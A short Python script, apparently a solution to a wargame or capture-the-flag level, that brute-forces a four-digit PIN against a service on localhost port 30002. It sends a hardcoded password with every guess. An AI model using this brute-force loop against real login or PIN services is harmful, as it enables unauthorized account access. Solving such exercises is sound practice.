import socket

auth = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'

def main():
    # we can reuse the same connection instead of opening it each time, which will save us a bit of effort too.
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 30002))

    # read and discard the initial message telling us how to send data
    _ = s.recv(4096)

    for pin in range(9999):
        print("[+] {:04d}...".format(pin))

        # send pin and get response
        s.send("{} {:04d}\n".format(auth, pin).encode())
        response = s.recv(4096).decode()

        if len(response) != 52:
            print(response)
            return

    print(":( couldn't win")


if __name__ == "__main__":
    main()